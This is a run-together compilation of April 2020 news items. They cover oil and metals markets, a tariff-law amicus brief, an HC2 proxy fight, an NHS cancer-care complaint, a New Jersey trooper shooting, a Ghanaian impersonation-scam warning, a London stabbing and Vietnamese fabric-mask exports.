Tuesday. Also known as the OPEC reference basket of crude oil, the OPEC basket, a weighted average of oil prices from different OPEC members around the world, is used as an important benchmark for crude oil prices. It currently averages the oil prices of 13 countries, namely Algeria, Angola, the Republic of the Congo, Equatorial Guinea, Gabon, Iran, Iraq, Kuwait, Libya, Nigeria, Saudi Arabia, the United Arab Emirates and Venezuela. Enditem All eyes are on how demand recovers - the fear is it will be slow and protracted. Gold prices are weaker and US treasury yields are firmer, suggesting the market is more risk-on than risk-off this morning. The mixed performance this morning is widespread with Asian-Pacific and pre-market western equity indices on divergent paths, while oil prices continue to pullback following the rally that got underway in the second half of last week.Three-month base metals prices on the London Metal Exchange were mixed this morning, with the two smaller markets of nickel ($12,205 per tonne) and tin ($15,345 per tonne) down by 0.2% and 0.4% respectively, while the other metals were up by an average of 0.5%, led by a 0.9% gain in lead to $1,650.50 per tonne - lead has been one of the laggards in recent weeks. Copper was up by 0.3% at $5,201.50 per tonne.The most-traded base metals contracts on the Shanghai Futures Exchange were for the most part weaker this morning, with the complex down by an average of 0.5%. June aluminium was the only metal in positive territory, with a 0.9% gain, while the rest are off by an average of 0.8%, led by a 1.4% fall in July nickel, with June tin down by 1.1%. June copper was off by 0.4% at 42,410 yuan ($5,987) per tonne.Spot gold prices were off by 1% at $1,694.10 per oz, while the market continues to consolidate after strong gains on April 22 and 23 that saw gold reach a high of $1,738.75 per oz - just short of this years high of $1,747.25 per oz that was seen on April 14.The more industrial precious metals are also consolidating and holding within recent ranges.The yield on benchmark US 10-year treasuries has firmed further and was recently quoted at 0.66% this morning, compared with 0.62% at a similar time on Monday, this suggest investors are more risk-on than risk-off at present.Asian-Pacific equities were mixed this morning: the Nikkei (-0.15%) and the ASX 200 (-0.55%) were weaker, while the Hang Seng (+0.55%), the Kospi (+0.35%) and the Chinas CSI 300 (+0.85%) were firmer.The dollar index is consolidating, it was recently quoted at 100.08, this after 99.93 at a similar time on Monday.The other major currencies we follow were also consolidating: the euro (1.0827), the yen (107.21, the Australian dollar (0.6457) and sterling (1.2422).Data already out on Tuesday showed Japans core consumer price index eased to show a 0.1% gain in March, from an increase of 0.2% in February, while the countrys unemployment rate for March rose to 2.5%, from 2.4% in February. Data out later in Europe includes Spains unemployment rate and the United Kingdoms Confederation of British Industry (CBI) realized sales. The latter is expected to drop to -45, from -3 previously.US data out Tuesday includes goods trade balance, preliminary whole sale inventories, composite house prices, consumer confidence and Richmond manufacturing index, the latter is expected to drop to -42, from 2 previously.The markets seem to be consolidating while they wait for further news - key in the weeks ahead will be to see to what extent order flows pick-up while parts of economies start to reopen. But, for the metals, market participants may well focus on Chinese local government incentives to get the supply chain to stockpile metal, some of the numbers being talked about are meaningful. If this coincides with some light restocking by industry as they reopen then that could underpin demand for a while, even if it ends up bringing future demand forward.Gold prices have once again pulled back from recent high ground, but the trend is still upward. Our view remains unchanged: with so much uncertainty around, we expect any dips in gold will be well supported. American Institute for International Steel, Inc. v. U.S. Washington, D.C., April 27, 2020 (GLOBE NEWSWIRE) -- The New Civil Liberties Alliance, a nonpartisan, nonprofit civil rights group, today filed an amicus curiae brief in support of the American Institute for International Steel, Inc. AIIS has filed a petition seeking a Writ of Certiorari from the U.S. Supreme Court in American Inst. for International Steel, Inc. v. U.S., claiming that a tariff law improperly divests legislative power from Congress to the PresidentNCLA agrees. Section 232 of the Trade Expansion Act of 1962, as amended, 18 U.S.C. 1862, authorizes the President to impose import tariffs that, in the judgment of the President, are needed so that such imports will not threaten to impair the national security. The Act defines national security ( 232(d)) in an all-encompassing manner that enables the President to classify the import of any article as an impairment of national securityand thereby delegates to the Executive Branch unchecked legislative authority to increase tariffs on imports. Invoking his authority under the statute, President Trump in March 2018 imposed a 25% tariff on all imported steel articles from all countries except Canada and Mexico. NCLA believes that the statute constitutes an improper delegation of legislative authority in violation of the Vesting Clause of Article I, 1 of the U.S. Constitution, which states that all legislative power resides with Congress. A three-judge panel in the U.S. Court of International Trade rejected AIISs challenge to the tariff. Rather than conducting its own independent review of the statutes constitutionality, the court held that it was bound by Algonquin a 1976 Supreme Court precedent, to reject delegation-doctrine challenges to section 232. NCLAs brief asks the Court to review and consider overruling the 1976 decision and to strike down the statute as an unconstitutional delegation of legislative power. Story continues Five Supreme Court justices including C.J. Roberts and JJ. Thomas, Alito, Gorsuch, and Kavanaugh have expressed willingness to reconsider the Courts standards for reviewing delegation doctrine claims. This case provides the perfect opportunity for the Court to consider abandoning the current review standards it applies to claims arising under the delegation-doctrine. The current test asks whether the challenged statute includes an intelligible principle to guide the Executive Branch. NCLA argues that the intelligible-principle standard is way too lax, with the results that the constitutional provision barring delegation of legislative powers has become a dead letter. NCLA released the following statement: We cant rely on Congress to defend its exclusive right to legislate. All too often, Congress is willing to pass the buck to the Executive Branch in order to avoid having to make politically unpopular decisions. That is why it is so important for the courts to carefully review delegation-doctrine claims. Unless the federal courts are willing to carefully examine claims that Congress has improperly delegated its legislative power, there will be no one to safeguard our constitutional structure. Rich Samp, Senior Litigation Counsel, NCLA ABOUT NCLA NCLA is a nonpartisan, nonprofit civil rights group founded by prominent legal scholar Philip Hamburger to protect constitutional freedoms from violations by the Administrative State. NCLAs public-interest litigation and other pro bono advocacy strive to tame the unlawful power of state and federal agencies and to foster a new civil liberties movement that will help restore Americans fundamental rights. For more information visit us online at NCLAlegal.org. ### Judy Pino, Communications Director New Civil Liberties Alliance 202-869-5218 media@ncla.legal [April 28, 2020] MG Capital Encourages Stockholders to Avoid Being Misled by HC2's Attempts to Rewrite History MG Capital Management, Ltd. (together with Percy Rockdale LLC, the nominating stockholder, and its affiliates, "MG Capital" or "we"), a significant stockholder of HC2 Holdings, Inc. (NYSE: HCHC) ("HC2" or the "Company"), which collectively with the other participants in its solicitation beneficially owns more than 6% of the Company's outstanding shares, today commented on HC2's latest attempt to rewrite history. Additional important information is available for stockholders at www.ABetterHC2.com. Michael Gorzynski, MG Capital's founder and managing partner, commented: "The presentations released by HC2 this week represent a continuation of the Board's effort to divert attention away from the fact that it has destroyed hundreds of millions of dollars in stockholder value over the past six years. Rather than accept accountability for mismanaging HC2 and delivering negative returns over every relevant time horizon, Mr. Falcone and his fellow directors have spent the past two months trying to justify the Company's irrefutable history of dismal corporate governance, reckless debt-fueled acquisitions, and evident self-dealing. We find it very troubling that they have opted to double down on this approach rather than providing stockholders with a thoughtful and viable strategy for finally creating value. It is important to see through the distortions and misrepresentations that the Board has relied on for years to pacify stockholders. The reality is that stockholders now have a tremendous opportunity to add credibility, integrity, and relevant experience to the Board by electing our six director nominees. The individuals on our slate have world-class backgrounds advising heads of state, holding public company board seats, and maintaining senior positions at top institutions such as Elliott Management, Harvard Business School, Lazard, Morgan Stanley, the Goldman Sachs Group, and Third Point. Most importantly, they have spent months analyzing HC2's challenges and developing a comprehensive strategy for reducing HC2's massive debt and ultimately delivering an estimated $9 per share in value. We encourage stockholders to judge our slate based on its qualifications and strategy - not the low-road campaign being waged by Mr. Falcone and the other directors. In contrast to the current Board, our nominees have the perspectives and relationships to help HC2 avert potential bankruptcy over the next year by obtaining necessary liquidity or refinancing holding company debt." *** WEENCOURAGE STOCKHOLDERS TO FOCUS ON (News - Alert) OUR NOMINEES AND THEIR VISION. By agreeing to serve as a member of the MG Capital slate, each of our world-class nominees has endorsed Mr. Gorzynski's integrity, investment acumen, and leadership skills. George Brokaw - A proven banker, investor, and public company director with broadcasting, telecommunications, and energy expertise. Mr. Brokaw's background at top investment banks (e.g. Lazard) and premier investment firms (e.g. HPS Investment Partners) has put him in a position to already have discussions with potential asset acquirers and possible sources of lower-cost debt refinancing. Kenneth Courtis - A world-class investor, corporate director, and economist with experience advising three U.S. Presidents. Mr. Courtis' background at leading investment banks (e.g. Goldman Sachs) and experience counseling three U.S. Presidents (Bush, Clinton and Bush) has enabled him to already develop a vision for optimizing HC2's portfolio and repairing relationships with government bodies overseeing the Company's regulated assets. Michael Gorzynski - A proven cross-sector investor with significant expertise in the areas of corporate turnarounds, debt restructurings and insurance. Mr. Gorzynski's background investing across every sector HC2 is exposed to, coupled with his significant debt restructuring and turnaround experience in the insurance space, has helped him identify potential buyers for certain holdings and develop a roadmap for focusing on core, EBIDTA positive assets that can deliver value for stockholders. Robin Greenwood - A leading corporate governance authority, debt restructuring expert, and strategic advisor to some of the world's most respected public and private institutions. Mr. Greenwood's background as a Harvard Business School educator, published thought-leader on debt restructurings, and noted corporate governance expert has helped him already map out a restructured Board and identify actionable steps to reduce corporate waste (e.g. elimination of excessive executive compensation). Liesl Hickey - A respected regulatory and public policy advisor with a breadth of experience working across the sectors HC2 invests in. Ms. Hickey's background - anchored in public policy and regulation - would allow her to leverage best-in-class relationships with policymakers (on both the state and federal level) to determine how HC2 can mend its relationships and guide Continental General through the Texas Department of Insurance's active investigation. Jay Newman - A seasoned cross-sector investor and litigator possessing decades of experience in asset recovery and debt restructuring/refinancing initiatives. Mr. Newman's background at one of the most well-known U.S. investment management firms (Elliott Management) and leading global investment banks (Morgan Stanley) has made him an investment expert and provided a deep bench of institutional relationships that will help him identify potential attractive debt re-financing terms for HC2 if elected to the Board. *** We urge HC2 stockholders to consent to all three proposals on the GREEN consent card and return it in your postage-paid envelope provided. The consent deadline is May 7, 2020. Should you have any questions or need assistance with voting, please contact Saratoga Proxy Consulting LLC at (888) 368-0379 or (212) 257-1311 or by email at [email protected]. PROTECT YOUR INVESTMENT. SIGN, DATE AND RETURN YOUR FILLED OUT GREEN CONSENT CARD TODAY. FORWARD-LOOKING STATEMENTS Any statements contained herein that do not describe historical facts, including future operations, are neither promises nor guarantees and may constitute "forward-looking statements" as that term is defined in the U.S. Private Securities Litigation Reform Act of 1995. Such forward-looking statements may include words such as "may," "might," "will," "should," "expects," "plans," "anticipates," "believes," "estimates," "predicts," "potential" or "continue," the negative of these terms and other comparable terminology. There is no assurance or guarantee with respect to the prices at which any securities of the Issuer will trade, and such securities may not trade at prices that are stated, estimated or implied herein. Any such forward-looking statements contained herein are based on current assumptions, estimates and expectations, but are subject to a number of known and unknown risks and significant business, economic and competitive uncertainties that may cause actual results to differ materially from expectations. Numerous factors could cause actual future results to differ materially from current expectations expressed or implied by such forward-looking statements, including the risks and other risk factors detailed in various publicly available documents filed by the Issuer from time to time with the Securities and Exchange Commission (SEC (News - Alert)), which are available at www.sec.gov, including but not limited to, such information appearing under the caption "Risk Factors" in Issuer's Annual Report on Form 10-K filed with the SEC on March 16, 2020. Any forward-looking statements should be considered in light of those risk factors. MG Capital cautions readers not to rely on any such forward-looking statements, which speak only as of the date they are made. MG Capital disclaims any intent or obligation to publicly update or revise any such forward-looking statements to reflect any change in Issuer expectations or future events, conditions or circumstances on which any such forward-looking statements may be based, or that may affect the likelihood that actual results may differ from those set forth in such forward-looking statements. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005625/en/ [ Back To TMCnet.com's Homepage ] A grieving son says the NHS 'fobbed off' his father after a surgery 'would not' send a doctor to a 78-year-old cancer patient before he died because of the coronavirus lockdown. Old Kilpatrick Medical Practice in West Dunbartonshire, Glasgow, 'refused' to send a doctor to Stuart Cameron, 78, who died of a heart attack brought on by lung cancer. Stuart Cameron's son, also Stuart, said: 'I'd sat up all night with my dad holding his hand because he was quite frightened, and I was taking my dad up the stairs for a shower when all of a sudden he couldn't lift his leg. 'I said: "Are you all right Dad?" and as I picked him up I looked at his face and saw his eyes rolling back. 'He'd obviously taken a heart attack in my arms and died while I was carrying him. 'I put him back in his chair and that was that.' Stuart Cameron, 78, died of a heart attack brought on by lung cancer after Old Kilpatrick Medical Practice in West Dunbartonshire, Glasgow, 'would not' send a doctor to him because of the coronavirus lockdown The grieving son said that he contacted the surgery over his father's deteriorating condition after he lost a lot of weight, was lethargic and had night-time coughing fits. Mr Cameron had previously had 40 per cent of his lung removed and had suffered scarring and inflammation of the lungs which increases the risk of lung cancer after working in the shipbuilding industry and as a plumber. But the 78-year-old was told he had acid reflux and was only diagnosed correctly after a CT scan on April 16 five days before he died. The Cameron family plan to sue NHS Greater Glasgow and Clyde because they believe Stuart Cameron had been misdiagnosed after he went to the doctors with a cough in September last year. In February Mr Cameron had a CT scan and a bronchoscopy to look at his lungs both of which showed no cancer. He had a full biopsy scheduled but it was cancelled because of coronavirus. The family requested that Mr Cameron go to hospital in March but he was sent home with medicine for acid reflux after two days. Mr Cameron was taken to hospital again three weeks later and was sent home with medicine for a chest infection after two days. On April 15 Mr Cameron's son phoned their surgery about his father's worsening condition. 'Without seeing him they said there was nothing else they could do,' said the devastated son. The surgery's respiratory consultant phoned Mr Cameron's son and said he thought the cancer was back but Mr Cameron was too weak for chemotherapy. Stuart Cameron thinks the NHS did not treat his father properly because 'they didn't want to be blamed for sending him to hospital'. Stuart cameron was taken to hospital twice after his symptoms worsened but he was sent home after two days both times with medication for acid reflux and a chest infection Mr Cameron's family believe that the heart attack could have been prevented if the NHS acted quicker. 'I don't want anyone else going through what we have, but I know that they are,' said Mr Cameron. NHS Greater Glasgow and Clyde conveyed their sympathies to Mr Cameron's family and said: 'We can assure them that Mr Cameron received all appropriate tests, and within appropriate timescales given Mr Cameron's medical history. 'Sadly Mr Cameron's condition deteriorated very rapidly in just a few months.' Mr Cameron's GP, Old Kilpatrick Medical Practice, said they cannot comment on any patient's medical details but sent their condolences to the family. They said: 'During the current Covid-19 situation the practice remains open. 'In order to protect our patients and staff we are primarily dealing with patients' concerns by telephone and video link. 'However, where a patient needs to be seen, this will happen at the practice or their home. 'The practice continues to closely adhere to guidance and advice provided by the Scottish Government and NHS GGC.' Senior doctors and World Health Organisation's former cancer chief warned Matt Hancock that cancer treatment would not be able to be maintained during the coronavirus pandemic. This is because most specialist treatment equipment, like ventilators and anaesthetists, is being used to fight coronavirus. As a result the NHS is working to link with private hospitals to fill in where the NHS does not have the resources to treat cancer patients. The Royal College of Radiologists, which represents 1,500 cancer doctors, said decisions were being made 'case by case' on whether to postpone chemotherapy or radiotherapy. Authorities have charged a Bridgeton man with attempted murder in the shooting of a New Jersey State Police trooper on Saturday night in Salem County, the state Attorney General announced Tuesday. The trooper remains hospitalized and is expected to make a full recovery. Two others are charged with gun offenses and five more are charged in connection with a related home invasion that the trooper was investigating when he was wounded. The trooper, five-year veteran Detective Richard Hershey, was at Harding Woods mobile home park in Pittsgrove Township around 10:30 p.m. investigating the home invasion that occurred hours earlier. Five women allegedly forced their way into a residence shortly after 6 p.m., assaulted a woman and stole her iPhone. The victim suffered a broken rib and lacerated lung. The assault allegedly stemmed from derogatory comments made about the family of one of those involved. As Hershey investigated, a caravan of five vehicles pulled up to the scene and several people exited and confronted him. The trooper identified himself as a law enforcement officer and ordered the group to leave, Attorney General Gurbir S. Grewal said during a Tuesday morning press conference. Hershey was in plain clothes and driving an unmarked vehicle. As the vehicles drove off, Najzeir J. Naz Hutchings, 21, of Bridgeton, allegedly fired on the trooper, striking him in the upper leg. The trooper returned fire. Hershey was taken to Cooper University Hospital, Camden, where he remains in stable condition following surgery. A woman in the group who was not among those charged suffered a leg wound in the exchange, but authorities have not said who shot her. That remains under investigation, officials said. She was treated and later released. Authorities confirmed that no video captured the shooting. Hutchings was charged with first-degree attempted murder, aggravated assault on a police officer, unlawful possession of a weapon and possession of a weapon for an unlawful purpose. A New Jersey State Police trooper was wounded in a shooting at Harding Woods mobile home park in Pittsgrove Township on Saturday night. Two other Bridgeton men, Kareen A. Kai Warner Jr., 19, and Colby Opperman, 18, were charged with second-degree unlawful possession of weapons. Three people gave statements to investigators indicating that Warner had a handgun at the scene and two of them claimed they saw him fire the weapon, according to his affidavit of probable cause. Two people confirmed Hutchings had a gun and one stated that Opperman was armed, according to their criminal complaints. Five women were charged in the home invasion. Maria E. Betancourt, 39, of Vineland, Iramari Lazu, 22, of Bridgeton, Yomari Lazu, 43, of Bridgeton, Jazmin Valentin, 32, of Bridgeton, and Mayra S. Roblero, 52, of Bridgeton were each charged with second-degree crimes of aggravated assault, robbery and conspiracy to commit robbery, and third-degree offenses of burglary and conspiracy to commit burglary. The alleged home invasion assault was retaliation because the victim was believed to have spoken derogatory information toward (Iramari) Lazus family earlier, according to affidavits in the case. The assault was captured on a Facebook Live video, according to complaints, though it doesnt indicate who recorded it. Iramari Lazu was among the members of the caravan who later confronted Hershey, authorities confirmed. Kareen A. Warner Jr., 19, and Colby Opperman, 18, both of Bridgeton, are charged with second-degree unlawful possession of a weapon in connection with the shooting of a state trooper. All eight are currently housed in Salem County Correctional Facility as they await detention hearings. Salem County Prosecutor John T. Lenahan joined Grewal and State Police Col. Patrick J. Callahan for the virtual press conference announcing the arrests. Lenahan called the investigation an all hands on deck operation that spanned 72 hours. This shocking attack on a member of the State Police who was working with us on an investigation demonstrates what our officers risk every day to protect us, Lenahan said. We are grateful that he is recovering and we are gratified that, working together, we were able to bring those responsible for that shooting and the home invasion that preceded it to justice. Grewal declined to discuss motives for the home invasion, but praised the detective for going out that night in the middle of a pandemic to investigate the assault. By doing that, Hershey ensured others werent harmed by the group that had returned to the home, according to the attorney general. We allege that they were not satisfied with what had transpired earlier and that they went there to exact even more harm on the residents there, perhaps, Grewal said. He had harsh words for those who confronted the detective. We have zero tolerance for a hostile mob that threatens a law enforcement officer performing his duties, Grewal said. We have zero tolerance for those that attack a law enforcement officer. And we have zero tolerance for a cowardly gunman that targets a detective in a drive-by shooting in the middle of the night in the midst of a pandemic. The troopers father, Richard L. Hershey II, took to Facebook to ask for prayers for his son. I never ask for much, but there was a Trooper shot in Salem Co. last night and that Trooper was my son Rick# 7752. I would appreciate your prayers for him. He is true Blue&Gold. Callahan spoke highly of the detective, who is based at the Bridgeton station. We will have him and his family in our prayers as he moves forward through his recovery," he said. "Ive talked to him every day since and will continue to do so. He knows that he is surrounded by a thoughtful group of men and women, not only in the State Police, but around the country that are pulling for him and his recovery. Hes got a little bit of a road ahead of him. I think he might be in Cooper for another week or so, but his spirits are phenomenally high and we do expect a full recovery. Five woman were charged in the home invasion at a Pittsgrove mobile home park that occurred hours before a state police detective was wounded while investigating that incident. Our journalism needs your support. Please subscribe today to NJ.com. Matt Gray may be reached at mgray@njadvancemedia.com. The Minister of Information has cautioned the general public to be wary of the activities of some unscrupulous persons who are taking advantage of social media platforms to pass off as government officials to dupe unsuspecting victims. Mr. Kojo Oppong Nkrumah whose name has been used to dupe innocent social media users has lodged an official complaint to the National Security for investigation. According to the Ofoase-Ayirebi Member of Parliament, he has received several reports of people using fake social media accounts to demand money from unsuspecting victims in exchange for opportunities, in his name. The Minister in a Facebook post, Tuesday, April 28, 2020, cautioned the general public to of the act. It has come to my notice that a good number of persons are falling victim to fraudulent persons purporting to be me on social media. Please note that I do not solicit for nor provide any protocol opportunities to people either in person or via social media. I urge you to ignore or report to the police any of such persons soliciting payments in my name. I have notified the National Security apparatus to investigate and apprehend such fraudsters, he posted. Source: King Edward Ambrose Washman Addo/Peacefmonline.com/Ghana Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video A young NHS worker was stabbed to death in east London just days before his father's funeral. David Gomoh, 24, was attacked in Freemasons Road in Newham at around 10.25pm on Sunday, just seconds after leaving his home. His family were already grieving from tragedy as his father recently died from a coronavirus-related illness. His funeral had been planned for Wednesday. Mr Gomoh, a nurse like his mother, was a key worker to keep NHS staff supplied with essential equipment amid the Covid-19 pandemic, the Met Police said. Freemason's Road in Newham where David was attacked / Google Maps The Southbank University graduate was talking on the phone to a female friend when he was brutally attacked. He had not been involved in any argument, the Met Police said. Coronavirus hits the UK - In pictures 1 /81 Coronavirus hits the UK - In pictures A deserted Westminster Bridge PA A man wearing a face mask or covering due to the COVID-19 pandemic, walks past customers sat outside a restaurant AFP via Getty Images Boris Johnson addresses the nation on the Coronavirus lockdown Andrew Parsons Runners pass cardboard cutouts of Britain's Queen Elizabeth II and Prince William during the London Marathon in London AP An empty escalator at Charing Coss London Underground tube station Jeremy Selwyn Electronic bilboards displays a message warning people to stay home in Sheffield PA A sign is displayed in the window of a student accommodation building following the outbreak of the coronavirus disease (COVID-19) in Mancheste Reuters People take part in a 'We Do Not Consent' rally at Trafalgar Square, organised by Stop New Normal, to protest against coronavirus restrictions, in Londo AP People sing and dance in Leicester Square on the eve on the 10PM curfew Reuters Hearts painted by a team of artists from Upfest are seen in the grass at Queen Square, following the coronavirus disease (COVID-19) outbreak in Bristol Reuters Graffiti reads 'good luck and stay safe', as the number of coronavirus disease (COVID-19) cases grow around the world, under a bridge in London Reuters A sign is pictured in Soho, amid the outbreak of the coronavirus disease (COVID-19), in London Reuters Prime Minister Boris Johnson gestures, during a coronavirus briefing in Downing Street, London AP A person runs past posters with a message of hope, as the spread of the coronavirus disease (COVID-19) continues in Manchester REUTERS Riot police face protesters who took part in a 'We Do Not Consent' rally at Trafalgar Square, organised by Stop New Normal, to protest against coronavirus restrictions in London AP An image of The Queen eith quotes from her broadcast to the UK and the Commonwealth in relation to the Coronavirus epidemic are displayed on lights in London's Piccadilly Circus PA Military vehicles cross Westminster Bridge after members of the 101 Logistic Brigade delivered a consignment of medical masks to St Thomas' hospital Getty Images Durdle Door in Dorset Reuters Captain Tom Moore via Reuters Mia, aged 8, and Jack, aged 5, take part in "PE with Joe" a daily live workout with Joe Wicks on Youtube to help kids stay fit who have to stay indoors due to the Coronavirus outbreak PA An NHS worker reacts at the Chelsea and Westminster Hospital during the Clap for our Carers campaign in support of the NHS Reuters Goats which have taken over the deserted streets of Llandudno @AndrewStuart via PA Tobias Weller PA Novikov restaurant in London with its shutters pulled down while the restaurant is closed London Landscapes: Hyde Park and the Serpentine, central London. Matt Writtle A newspaper vendor in Manchester city centre giving away free toilet rolls with every paper bought as shops run low on supplies due to fears over the spread of the coronavirus PA Theo Clay looks out of his window next to his hand-drawn picture of a rainbow in Liverpool, as the spread of coronavirus disease (COVID-19) continue Reuters A young man cuts another man's hair on top of a closed hairdresser in Oxford Reuters General view of the new NHS Nightingale Hospital, built to fight against the spread of the coronavirus disease (COVID-19), in London via Reuters Jason Baird is seen dressed as Spiderman during his daily exercise to cheer up local children in Stockport, as the spread of the coronavirus disease (COVID-19) continues Reuters A woman wearing a face mask walks past Buckingham Palace Getty Images A man holds mobile phone displaying a text message alert sent by the government warning that new rules are in force across the UK and people must stay at home PA Medical staff on the Covid-19 ward at the Neath Port Talbot Hospital, in Wales, as the health services continue their response to the coronavirus outbreak. PA Prime Minister Boris Johnson taking part in a virtual Cabinet meeting with his top team of ministers PA A shopper walks past empty shelves in a Lidl store on in Wallington. After spates of "panic buying" cleared supermarket shelves of items like toilet paper and cleaning products, stores across the UK have introduced limits on purchases during the COVID-19 pandemic. Some have also created special time slots for the elderly and other shoppers vulnerable to the new coronavirus. Getty Images People on a busy tube train in London at rush hour PA Mia, aged 8 and her brother Jack, aged 5 from Essex, continue their school work at home, after being sent home due to the coronavirus PA Children are painting 'Chase the rainbows' artwork and springing up in windows across the country Reuters Social distancing in Primrose Hill Jeremy Selwyn A general view of a locked gate at Anfield, Liverpool as The Premier League has been suspended PA Homeless people in London AFP via Getty Images A piece of art by the artist, known as the Rebel Bear has appeared on a wall on Bank Street in Glasgow. The new addition to Glasgow's street art is capturing the global Coronavirus crisis. The piece features a woman and a man pulling back to give each other a kiss PA The Queen leaves Buckingham Palace, London, for Windsor Castle to socially distance herself amid the coronavirus pandemic PA A general view on Grey street, Newcastle as coronavirus cases grow around the world Reuters Matt Raw, a British national who returned from the coronavirus-hit city of Wuhan in China, leaves quaratine at Arrowe Park Hospital on Merseyside PA Britain's Chief Medical Officer Professor Chris Whitty (L) and Chief Scientific Adviser Patrick Vallance look on as British Prime Minister Boris Johnson gestures as he speaks during a coronavirus disease (COVID-19) news conference inside 10 Downing Street Reuters The ticket-validation terminals at the tram stop on Edinburgh's Princes Street are cleaned following the coronavirus outbreak. PA Locked school gates at Rockcliffe First School in Whitley Bay, Tyne and Wear PA A sign at a Sainsbury's supermarket informs customers that limits have been set on a small number of products as the number of coronavirus (COVID-19) cases grow around the world Reuters Jawad Javed delivers coronavirus protection kits that he and his wife have put together to the vulnerable people of their community of Stenhousemuir, between Glasgow and Edinburgh AFP via Getty Images A sign advertising a book titled "How Will We Survive On Earth?" Getty Images A man who appears to be homeless sleeping wearing a mask today in Victoria Jeremy Selwyn A pedestrian walks past graffiti that reads "Diseases are in the City" in Edinburgh AFP via Getty Images Staff from The Lyric Theatre, London inform patrons, as it shuts its doors PA A quiet looking George IV Bridge in Edinburgh PA A quieter than usual British Museum Getty Images A racegoer attends Cheltenham in a fashionable face mask SplashNews.com A commuter wears a face mask at London Bridge Station Jeremy Selwyn A empty restaurant in the Bull Ring Shopping Centre Getty Images A deserted Trafalgar Square in London PA Passengers determined to avoid the coronavirus before leaving the UK arrive at Gatwick Airport Getty Images The force added that nothing in Mr Gomoh's background gave any reason for why he was singled out and this - along with other evidence - suggests he was murdered in a "totally unprovoked attack". Detective Inspector Tony Kirk of the Mets Specialist Crime Command said: Davids family are going through unimaginable torment. Within days his mother has seen the death of her husband and son; his sister has lost her brother and father, both are now heartbroken. David was a young man who had worked hard to put himself through university and, like his mother, worked hard for the community in the NHS. "At this time we believe the only thing David did to be murdered was walk down a street. "He was apparently approached by a group of men wearing masks and stabbed multiple times in a ferocious assault. One minute silence to NHS heroes who lost lives to the Coronavirus 1 /25 One minute silence to NHS heroes who lost lives to the Coronavirus London Ambulance Staff observe the minute silence today at their HQ in Waterloo Road Jeremy Selwyn Staff stand outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Shoppers queue in the rain outside Costco in Thurrock during a minutes silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA A minute silence in honour of key workers who have lost their lives due to COVID-19 Sky News London Ambulance Staff observe the minute silence today at their HQ in Waterloo Road Jeremy Selwyn Staff react outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA A staff member reacts outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Members of the public, NHS staff, and Police offices, some wearing PPE (personal protective equipment) of a face mask as a precautionary measure against COVID-19, pause for a minute's silence to honour UK key workers AFP via Getty Images A police officer observes a minute silence in honour of key workers who have lost their lives due to COVID-19 outside 10 Downing Street, Reuters London Ambulance Staff observe the minute silence today at their HQ in Waterloo Road Jeremy Selwyn Cabinet Secretary Mark Sedwill, Prime minister Boris Johnson and Chancellor of the Exchequer Rishi Sunak stand inside 10 Downing Street, London, to observe a minutes silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA A minute silence in honour of key workers who have lost their lives due to COVID-19 Sky News London Ambulance Staff observe the minute silence today at their HQ in Waterloo Road Jeremy Selwyn Staff stand outside the Royal Derby Hospital, during a minutes silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Staff stand outside the Royal Derby Hospital, during a minutes silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Staff stand inside Camberwell bus depot in London, during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA National Shop Stewards Network protesters outside St Thomas' Hospital in London, during a minute's silence which was to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak. PA Staff members applaud outside the Royal Derby Hospital, following a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak. PA First Minister Nicola Sturgeon stands outside St Andrew's House in Edinburgh to observe a minute's silence in tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA I have no doubt this was a planned attack that singled out David because he happened to be in that area. "David and his mother, who have done so much to help the community, now need the public to come forward and tell us what they know." "Davids family deserve both answers and justice, he added. There have been no arrests at this time. Officers, who are appealing for information, believe those involved left the scene in a stolen Silver Dodge Caliber that was abandon at about 10:30pm in Lincloln Road, after driving through the no entry sign from Cumberland Road. The car had been stolen in Dagenham on Thursday, April 16 and was on cloned plates when it was seized by officers. A worker is making fabric face masks at a member of Vinatex Viet Thang Jean, or Vitajean, has just sent its first batches of fabric face masks to the United States, Poland and the Netherlands. By the weekend, each of these countries will have received on a trial basis 20,000-50,00 fabric masks, which have three layersthe anti-droplet layer, the antibacterial layer and the skin-protection layer. Prior to these first batches, Vitajean had dispatched mask samples to receive feedback on their quality. Pham Van Viet, Vitajean board chairman, says making fabric masks is not a problem at all for his companys workers. The more challenging task, though, is how to meet quality and formality requirements imposed by importers. Understandably, amid the ravaging coronavirus pandemic, American and European partners have set extremely high criteria. In order for their products to be accepted, Vitajean has had to meet meticulous conditions for quality assurance, among which is the transparency of all information on the products. For instance, Viet says, his masks must be qualified for the structure of the fabric in use, the chemical content and the anti-bacterial resistance. Whats more, each batch of products to be dispatched must be accompanied by a report on the results of anti-bacterial testing in line with the host countrys disease prevention regulations. According to some Vietnamese mask makers, they have to surmount yet another hurdle, the Oeko-Tex Standard 100, a test for harmful substances to ensure that the article in question is harmless in human ecological terms. The complicated and time-consuming certification saga has therefore become more lengthy during the pandemic time. Vitajean is not alone in its effort to make fabric masks. Many of their local counterparts have also temporarily resorted to fabric mask production to keep themselves alive and ensure jobs for their workforces. Latest statistics obtained from the Industrial Department under the Ministry of Industry and Trade show that at least 50 enterprises have sent over reports on their capacity to make fabric masks. They alone claim to be able to turn out 8 million fabric masks a day, or 200 million a month. Given the much bigger number of garment firms nationwide in Vietnam, the possible overall production capacity may be significantly larger. The tough task of securing a foothold in supply chains In reality, the input of qualified fabric for making masks is now no longer a headache for local enterprises as it once was. Only a short while ago, all anti-bacterial fabric or chemicals needed to make such fabric masks had to be imported. However, several local companies have been able to produce anti-bacterial fabric from bio-materials available domestically. The solution to the input of materials means that domestic producers of fabric masks may make more products if they can win more orders. However, a 